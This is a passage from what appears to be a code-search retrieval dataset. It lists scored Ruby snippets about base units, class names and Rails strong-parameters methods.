"c097f9e718f77ea0fc0f4a330ce98e36", "score": "0.57864493", "text": "def standard\n # lookup system unit of same kind and is base unit\n conv = type.conversions.find do |c|\n c.base? &&\n c.kind == kind &&\n c.system == Stick.default\n end\n #unit = Unit.register.find do |u|\n # u.base? &&\n # u.type == self.type &&\n # u.system == Stick.default\n #end\n # convert to univesral and from universal to standard\n #unit.from_universal(universal)\n conv.call(universal)\n end", "title": "" }, { "docid": "89ea7ca58a6f0c384701f7c5fe348f26", "score": "0.5759042", "text": "def base; self; end", "title": "" }, { "docid": "281a9ef485663409522b49b08c6a540c", "score": "0.5728096", "text": "def base\n @@base\n end", "title": "" }, { "docid": "8dfc8f3c12104dbb39f2813db5e97af3", "score": "0.5681745", "text": "def base\n detailed_units true\n end", "title": "" }, { "docid": "de195408f78e8126179670e6d6a4c94e", "score": "0.5660692", "text": "def to_ruby\n @base_class\n end", "title": "" }, { "docid": "e2f4dd2fb7aa4479c8fe8c3a415ec419", "score": "0.5660349", "text": "def base\n find_base\n end", "title": "" }, { "docid": "8b9ce21a96b1b87e6ad552a1be3745f1", "score": "0.56380963", "text": "def __type; @type == TYPE_BUILDING ? \"Building\" : \"Unit\"; end", "title": "" }, { "docid": "da7433005938e84045d6561cc2544964", "score": "0.5632725", "text": "def base_class\n self.is_a?(Instance) ? 'Instance' : 'Work'\n end", "title": "" }, { "docid": "1d4ef7e615798e6902b610b54e83113f", "score": "0.5618345", "text": "def set_base_unit\n @base_unit = BaseUnit.find(params[:id])\n end", "title": "" }, { "docid": "587e4996f830ba938e0c5a42c7204557", "score": "0.5617129", "text": "def new\n @unit_of_measure = UnitOfMeasure.new\n end", "title": "" }, { "docid": "72a031935ba957fcfd09e47cf61be6f0", "score": "0.55987227", "text": "def getBaseUnit(unitString)\n if (unitString.present?)\n unitString.strip!\n unitRegEx=/^([afpnumcdhkMGTPE]?)[ ]*([\\w%]+)/\n matchSet=unitRegEx.match(unitString)\n return matchSet[2]\n else\n return unitString\n end\n end", "title": "" }, { "docid": "3f043854f458803ce68392be53409adf", "score": "0.5596114", "text": "def base_class\n @base_class ||= self.class.basename(path,'.yml').classify.constantize\n end", "title": "" }, { "docid": "6353470ee4d631dcff2df0fc9fb2c7fb", "score": "0.55943197", "text": "def __class__\n Rubinius.primitive :object_class\n raise PrimitiveFailure, \"Kernel#class primitive failed.\"\n end", "title": "" }, { "docid": "4774747f8a1926b6ddba30175a3ce843", "score": "0.5593612", "text": "def unit\n return @units[@index]\n end", "title": "" }, { "docid": "4774747f8a1926b6ddba30175a3ce843", "score": "0.5593612", "text": "def unit\n return @units[@index]\n end", "title": "" }, { "docid": "ae32f4a266db6d6dc2cc1873f83c6407", "score": "0.55801827", "text": "def class() end", "title": "" }, { "docid": "db83ffda3e752a45bb57226d8c2cfa4d", "score": "0.557124", "text": "def BaseClass(name)\n name == \"string\" ? String : Object\nend", "title": "" }, { "docid": "db83ffda3e752a45bb57226d8c2cfa4d", "score": "0.557124", "text": "def BaseClass(name)\n name == \"string\" ? String : Object\nend", "title": "" }, { "docid": "b6a01d198b745d8ccbeb369d6233a426", "score": "0.5559513", "text": "def initialize(base = nil)\n super\n @type = self.class.symbolize\n @base.type ||= TYPES[@type]\n end", "title": "" }, { "docid": "1b105c22f7fc71a53998e9c1db302b3b", "score": "0.5553856", "text": "def BaseClass name\n name == \"string\" ? String : Object\nend", "title": "" }, { "docid": "bee2d6589c3a051766ec94bdca3b6970", "score": "0.5517806", "text": "def base\n @base ||= Failures.new\n end", "title": "" }, { "docid": "fdf80566e881a67b4d53e98a6617f569", "score": "0.55172056", "text": "def to_unit(other = nil)\n other ? RubyUnits::Unit.new(self).convert_to(other) : RubyUnits::Unit.new(self)\n end", "title": "" }, { "docid": "987ac2944b34ab636b4cbcd40b2b8fe2", "score": "0.55101895", "text": "def base_class\n unless self < Base\n raise ActiveRecordError, \"#{name} doesn't belong in a hierarchy descending from ActiveRecord\"\n end\n\n if superclass == Base || superclass.abstract_class?\n self\n else\n superclass.base_class\n end\n end", "title": "" }, { "docid": "b6a85e06fe1dafec41501c7c15685e9d", "score": "0.5497424", "text": "def class; end", "title": "" }, { "docid": "b6a85e06fe1dafec41501c7c15685e9d", "score": "0.5497424", "text": "def class; end", "title": "" }, { "docid": "5ffb25bb6de398db660b368b95ed323b", "score": "0.5475655", "text": "def class_name\n @class_name ||= derive_class_name\n end", "title": "" }, { "docid": "2600ad0ca26c6995868e1c4be0ff6a75", "score": "0.54522455", "text": "def unit_t\n I18n.t \"#{self.unit_s}\", :count => 1\n end", "title": "" }, { "docid": "812bc5424b05e0f9ee7c1cc2af821f19", "score": "0.5449106", "text": "def superclass() end", "title": "" }, { "docid": "0b52fe65f7a31aa89cb82b6cf24ef448", "score": "0.5448019", "text": "def unit_id\n super\n end", "title": "" }, { "docid": "0b52fe65f7a31aa89cb82b6cf24ef448", "score": "0.5448019", "text": "def unit_id\n super\n end", "title": "" }, { "docid": "f0043570ac8ac627683358cdbce9c142", "score": "0.5441104", "text": "def sg_base_class_name # :nodoc:\n @sg_base_class_name ||= self.base_class.name\n end", "title": "" }, { "docid": "76f38432d2d40338b1e4ebe9fba41c55", "score": "0.54314196", "text": "def unit\n self[:unit] ? self[:unit].to_sym : :piece\n end", "title": "" }, { "docid": "c742d75643e7dfd845849f695853ac65", "score": "0.54308194", "text": "def class_name\n self.class == Class ? self.name : self.class.name\n end", "title": "" }, { "docid": "45ba49a9257539948421bb050da2fc5c", "score": "0.5423402", "text": "def klass\n @klass ||= compute_class(class_name)\n end", "title": "" }, { "docid": "45ba49a9257539948421bb050da2fc5c", "score": "0.5423402", "text": "def klass\n @klass ||= compute_class(class_name)\n end", "title": "" }, { "docid": "45ba49a9257539948421bb050da2fc5c", "score": "0.5423402", "text": "def klass\n @klass ||= compute_class(class_name)\n end", "title": "" }, { "docid": "9ee4072e539a0d02b08371ac3d2d586d", "score": "0.54206043", "text": "def base\n @parent ? @parent.model_instance.send(@name.to_s.pluralize) : model_class\n end", "title": "" }, { "docid": "21eac0780c95f6946086c313490553a8", "score": "0.54150164", "text": "def super_class\n return nil unless super_class_name\n Parfait.object_space.get_class_by_name(super_class_name)\n end", "title": "" }, { "docid": "c2ec0529eaddd725b3505ec675d57b24", "score": "0.5407577", "text": "def _class\n special_attribute('@class'.freeze) || self.class.name.demodulize\n end", "title": "" }, { "docid": "fcef6382cd926a89110f8da2233ecdfb", "score": "0.5406659", "text": "def initialize(symbol, name, base, from_and_to_base)\n\n # If a Unit with this symbol exists...\n if @@registry.has_key?(symbol)\n raise(PhysicalQuantifier::Error,\n \"Unit already defined for symbol '#{symbol.to_s}'\")\n \n # If a BaseUnit with this symbol exists...\n else\n unless BaseUnit.exists?(base)\n raise PhysicalQuantifier::Error::BaseUnit::NotDefined\n end \n @symbol = symbol\n @name = name\n @base = Unit.get(base)\n if from_and_to_base.kind_of?(Numeric)\n @from_base = eval \"[lambda{ |x| x / #{from_and_to_base.to_f} }]\"\n @to_base = eval \"[lambda{ |x| x * #{from_and_to_base.to_f} }]\"\n else\n unless from_and_to_base.is_a?(Array)\n raise(PhysicalQuantifier::Error,\n \"You must pass an array of two lambda objects to Unit#new\")\n end\n @from_base = [from_and_to_base[0]]\n @to_base = [from_and_to_base[1]]\n end\n @@registry[@symbol] = self\n end\n end", "title": "" }, { "docid": "cc2d51d498871a7e5968b2e20336a7d3", "score": "0.53983754", "text": "def class\n `$q(this.__native__.className)`\n end", "title": "" }, { "docid": "61bc1bcedc16cd0e3833729f17c349ef", "score": "0.53877556", "text": "def unit\n parts[3]\n end", "title": "" }, { "docid": "f81f4b7d6c7f2b2bad6f760f37a1a03b", "score": "0.5367085", "text": "def as unit\n check_unit! unit\n dist = self.dup\n dist.number = convert_to_meters * meters_map[unit]\n dist.unit = unit\n dist \n end", "title": "" }, { "docid": "b3049ceb452247641b178b1e539d46e7", "score": "0.5366319", "text": "def class_constant; end", "title": "" }, { "docid": "b3049ceb452247641b178b1e539d46e7", "score": "0.5366319", "text": "def class_constant; end", "title": "" }, { "docid": "6a431a2959a62f07cc8afb07bb57dffe", "score": "0.53618973", "text": "def klass\n raise NotImplementedError\n end", "title": "" }, { "docid": "59d9765a7308cf92979adaf664e96cc1", "score": "0.5355338", "text": "def test_get_class\n assert_equal Test::Unit::TestCase,\n OneLiner.get_class(\"Test::Unit::TestCase\")\n end", "title": "" }, { "docid": "ed9d98613e2790b211587e11e3a11ac4", "score": "0.53523135", "text": "def time_unit\n @time_unit ||= PERIOD_MAPPING[@name]\n end", "title": "" }, { "docid": "dca826e860679328bcc25233a03264aa", "score": "0.53460354", "text": "def superclass\n @store.find_class_named(@superclass) || @superclass\n end", "title": "" }, { "docid": "3c59675ea1693aad923de7d71fa3a721", "score": "0.53455484", "text": "def si_unit\n return Unit.steridian if describe == 'solid angle'\n return Unit.radian if describe == 'plane angle'\n\n val = si_base_units\n return nil unless val\n return val[0] if val.length == 1\n val = val.inject(Unit.unity) do |compound,unit|\n compound * unit\n end\n val = val.or_equivalent unless val.acts_as_equivalent_unit\n end", "title": "" }, { "docid": "8dac66e4c881b14c55dc3717a1288366", "score": "0.5341664", "text": "def type\n raise 'derived should implement'\n end", "title": "" }, { "docid": "6a66b0d7cc092bd0711b88fbeec13eb8", "score": "0.5340712", "text": "def className\r\n self.class.to_s\r\n end", "title": "" }, { "docid": "fc5f7bbd0c1969bb5efcdc8cb9152177", "score": "0.5339629", "text": "def si_unit\n return self if self.dimensions.is_dimensionless?\n @dimensions.si_unit\n end", "title": "" }, { "docid": "0561eb4a181d3150ded35f458920fa06", "score": "0.53135926", "text": "def class_to_basefile class_name\n\t\t\treturn \"#{base_dir}/#{class_name.gsub(\"::\", \"/\")}\"\n\t\tend", "title": "" }, { "docid": "a799a12a2d4ed49a233e35cb02f15cbc", "score": "0.53053594", "text": "def className\r\n\t\tself.class.to_s\r\n\tend", "title": "" }, { "docid": "db7aa4e58f985b6e4c0c6c37d76e7aa5", "score": "0.53039306", "text": "def unit(short, base, size)\n @short = short\n @base = base\n @size = size\n register(short, self)\n end", "title": "" }, { "docid": "4150865998dfac2d242e616645f78e28", "score": "0.5300192", "text": "def get_subclass( className )\n\t\treturn self if ( self.name == className || className == '' )\n\t\treturn className if className.is_a?( Class ) && className >= self\n\n\t\tunless self.derivatives.has_key?( className.downcase )\n\t\t\tself.load_derivative( className )\n\n\t\t\tunless self.derivatives.has_key?( className.downcase )\n\t\t\t\traise FactoryError,\n\t\t\t\t\t\"load_derivative(%s) didn't add a '%s' key to the \"\\\n\t\t\t\t\t\"registry for %s\" %\n\t\t\t\t\t[ className, className.downcase, self.name ]\n\t\t\tend\n\n\t\t\tsubclass = self.derivatives[ className.downcase ]\n\t\t\tunless subclass.is_a?( Class )\n\t\t\t\traise FactoryError,\n\t\t\t\t\t\"load_derivative(%s) added something other than a class \"\\\n\t\t\t\t\t\"to the registry for %s: %p\" %\n\t\t\t\t\t[ className, self.name, subclass ]\n\t\t\tend\n\t\tend\n\n\t\treturn self.derivatives[ className.downcase ]\n\tend", "title": "" }, { "docid": "87e6bf764e25a12f9409ec097183e3be", "score": "0.52989507", "text": "def full_implementation_class_name\n full_item_type_name.ns_camelize\n end", "title": "" }, { "docid": "cbfa105ea3eb085c8051972ff74081cb", "score": "0.5297212", "text": "def className\n\t\tself.class.to_s\n\tend", "title": "" }, { "docid": "cbfa105ea3eb085c8051972ff74081cb", "score": "0.5297212", "text": "def className\n\t\tself.class.to_s\n\tend", "title": "" }, { "docid": "e354c07c374bcc00b57731aa811fdd5a", "score": "0.52940655", "text": "def inherited(klass)\n return unless klass.name\n\n type = klass.name.gsub(/([A-Z])/) { |a| \"_#{a.downcase}\" }.gsub(\"::\", \"/\")[1..-1].intern\n klass.star_type(type)\n end", "title": "" }, { "docid": "49b046d1099007569b58f533276ff867", "score": "0.52840805", "text": "def get_class()\n l = get_type()\n #puts \"Type #{l.class} in #{self.class} , #{self}\"\n l.object_class()\n end", "title": "" }, { "docid": "49b046d1099007569b58f533276ff867", "score": "0.52840805", "text": "def get_class()\n l = get_type()\n #puts \"Type #{l.class} in #{self.class} , #{self}\"\n l.object_class()\n end", "title": "" }, { "docid": "47d17ed790d2b63183f90686c0e4ca94", "score": "0.5282527", "text": "def get_unit(key)\n round_to(super, @nearest)\n end", "title": "" }, { "docid": "24d369f6391a085bc4c803d7ecd8c8ac", "score": "0.5274095", "text": "def units\n definitions = unit_counts\n\n units = []\n definitions.each do |type, count, flank|\n klass = \"Unit::#{type.camelcase}\".constantize\n count.times do\n unit = klass.new(:level => 1, :location => @planet, :flank => flank)\n unit.skip_validate_technologies = true\n\n units.push unit\n end\n end\n\n units\n end", "title": "" }, { "docid": "e91a93e4e410522aa49600d43b1ef415", "score": "0.52687436", "text": "def item_class\n @item_class || self.superclass.get_item_class\n end", "title": "" }, { "docid": "65131bff089b93da35d73f4450476d3f", "score": "0.5267974", "text": "def inherited(klass); end", "title": "" }, { "docid": "65131bff089b93da35d73f4450476d3f", "score": "0.5267974", "text": "def inherited(klass); end", "title": "" }, { "docid": "84d5d2517ddfec882519eeec4fc92f68", "score": "0.52675074", "text": "def superclass\n\t\t\t\treturn Object\n\t\t\tend", "title": "" }, { "docid": "0cf36b0aed52a19da16f4d65504c85b4", "score": "0.52658796", "text": "def class_name\n self.class.to_s\n end", "title": "" }, { "docid": "0cf36b0aed52a19da16f4d65504c85b4", "score": "0.52658796", "text": "def class_name\n self.class.to_s\n end", "title": "" }, { "docid": "111dc469067669735e8b6324e8c00ddc", "score": "0.52616763", "text": "def class_name\n (self.type.to_s || self.class.name).demodulize\n end", "title": "" }, { "docid": "486f6fbd368e45b9d1812ff4e9e8fe73", "score": "0.52590126", "text": "def selfclass\n if defined?(self.class.selfclass)\n self.class.selfclass\n else\n eign = (class << self; self ; end)\n eign.selfclass\n end\n end", "title": "" }, { "docid": "475a489733b1db4878f9b1f240cfad9a", "score": "0.5239592", "text": "def unit_tax\n tax = Money.new(0)\n tax_classes.each do |tax_class|\n class_tax = @rounding_strategy.round(tax_class.rate * unit_amount)\n tax += class_tax\n end\n tax\n end", "title": "" }, { "docid": "2ca653dbe3cca1888a1b3717d99be111", "score": "0.52324647", "text": "def unit=(value)\n @unit = value\n end", "title": "" }, { "docid": "862b6d5bb80d71c33e2ea7de757cdb76", "score": "0.52292913", "text": "def name\n self.class.name || self.class.to_s\n end", "title": "" }, { "docid": "ed7b1ac32cfe881ac9dbbb4b1d499a41", "score": "0.5228046", "text": "def base\n _base = base_inheritable\n _base = configuration[:base] if _base.nil? and configuration\n _base ||= base_inheritable(true)\n [prefix, _base].find_all do |component|\n component and !component.empty?\n end.join(\",\")\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "1dfdb7357be036f9dc9d828c3433614d", "score": "0.0", "text": "def attempt_params\n params.require(:attempt).permit(:name, :start, :end, :robot_id, :mission_id, :tracker_id, :uploadxml,:uploadjson, :uploadxml_a_id, :upload_timestamp)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.7497761", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.6959097", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.692353", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.68948716", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.67868835", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "f6060519cb0c56a439976f0c978690db", "score": "0.6743783", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "fad8fcf4e70bf3589fbcbd40db4df5e2", "score": "0.6683783", "text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.66382086", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.66306925", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.662678", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f", "score": "0.6564486", "text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "title": "" }, { "docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18", "score": "0.6492189", "text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6478776", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "2d2af8e22689ac0c0408bf4cb340d8c8", "score": "0.6454948", "text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6401308", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6383915", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6364847", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "6bf3ed161b62498559a064aea569250a", "score": "0.6339486", "text": "def require_params\n return nil\n end", "title": "" }, { "docid": "b4c9587164188c64f14b71403f80ca7c", "score": "0.63367784", "text": "def sanitize_params!\n request.sanitize_params!\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6327355", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "38bec0546a7e4cbf4c337edbee67d769", "score": "0.63199055", "text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.63157535", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "5ec018b4a193bf3bf8902c9419279607", "score": "0.6315646", "text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.63072646", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.6302784", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.63014424", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "8c384af787342792f0efc7911c3b2469", "score": "0.62963384", "text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926376", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c", "score": "0.62926376", "text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end", "title": "" }, { "docid": "9b76b3149ac8b2743f041d1af6b768b5", "score": "0.6279224", "text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.62757707", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "f6399952b4623e5a23ce75ef1bf2af5a", "score": "0.6269529", "text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.62567", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "37c5d0a9ebc5049d7333af81696608a0", "score": "0.62548006", "text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend", "title": "" }, { "docid": "6c4620f5d8fd3fe3641e0474aa7014b2", "score": "0.6252669", "text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end", "title": "" }, { "docid": "d14bb69d2a7d0f302032a22bb9373a16", "score": "0.6235264", "text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend", "title": "" }, { "docid": "d370098b1b3289dbd04bf1c073f2645b", "score": "0.62297153", "text": "def allow_params\n params.permit(:id, :email, :password)\n end", "title": "" }, { "docid": "78cbf68c3936c666f1edf5f65e422b6f", "score": "0.62293446", "text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend", "title": "" }, { "docid": "5629f00db37bf403d0c58b524d4c3c37", "score": "0.6228268", "text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "fde8b208c08c509fe9f617229dfa1a68", "score": "0.62278867", "text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end", "title": "" }, { "docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5", "score": "0.6199469", "text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end", "title": "" }, { "docid": "d724124948bde3f2512c5542b9cdea74", "score": "0.6191168", "text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end", "title": "" }, { "docid": "d18a36785daed9387fd6d0042fafcd03", "score": "0.6182722", "text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.6182267", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "07bc0e43e1cec1a821fb2598d6489bde", "score": "0.6164098", "text": "def accept_no_params\n accept_params {}\n end", "title": "" }, { "docid": "fc4b1364974ea591f32a99898cb0078d", "score": "0.61618495", "text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end", "title": "" }, { "docid": "13e3cfbfe510f765b5944667d772f453", "score": "0.6157139", "text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.61549145", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "b9432eac2fc04860bb585f9af0d932bc", "score": "0.6136374", "text": "def wall_params\n params.permit(:public_view, :guest)\n end", "title": "" }, { "docid": "f2342adbf71ecbb79f87f58ff29c51ba", "score": "0.61344707", "text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end", "title": "" }, { "docid": "8fa507ebc4288c14857ace21acf54c26", "score": "0.61201715", "text": "def strong_params\n # to dooo\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.61165285", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.61165285", "text": "def check_params; true; end", "title": "" }, { "docid": "9292c51af27231dfd9f6478a027d419e", "score": "0.61137617", "text": "def domain_params\n params[:domain].permit!\n end", "title": "" }, { "docid": "a3aee889e493e2b235619affa62f39c3", "score": "0.6110123", "text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6104934", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6104934", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6099036", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "b63ab280629a127ecab767e2f35b8ef0", "score": "0.6099036", "text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end", "title": "" }, { "docid": "677293afd31e8916c0aee52a787b75d8", "score": "0.6086076", "text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end", "title": "" }, { "docid": "e50ea3adc222a8db489f0ed3d1dce35b", "score": "0.60850567", "text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end", "title": "" }, { "docid": "b7ab5b72771a4a2eaa77904bb0356a48", "score": "0.60846716", "text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end", "title": "" }, { "docid": "b2841e384487f587427c4b35498c133f", "score": "0.6081648", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "3f5347ed890eed5ea86b70281803d375", "score": "0.6075045", "text": "def user_params\n params.permit!\n end", "title": "" }, { "docid": "0c8779b5d7fc10083824e36bfab170de", "score": "0.6068067", "text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end", "title": "" }, { "docid": "a3dc8b6db1e6584a8305a96ebb06ad21", "score": "0.60673714", "text": "def need_params\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6067284", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "fa0608a79e8d27c2a070862e616c8c58", "score": "0.60668314", "text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end", "title": "" }, { "docid": "4f8205e45790aaf4521cdc5f872c2752", "score": "0.60641295", "text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.6063739", "text": "def filtered_parameters; end", "title": "" }, { "docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06", "score": "0.60627085", "text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end", "title": "" }, { "docid": "d6886c65f0ba5ebad9a2fe5976b70049", "score": "0.60609823", "text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6050549", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "f78d6fd9154d00691c34980d7656b3fa", "score": "0.6050549", "text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "96ddf2d48ead6ef7a904c961c284d036", "score": "0.6048707", "text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end", 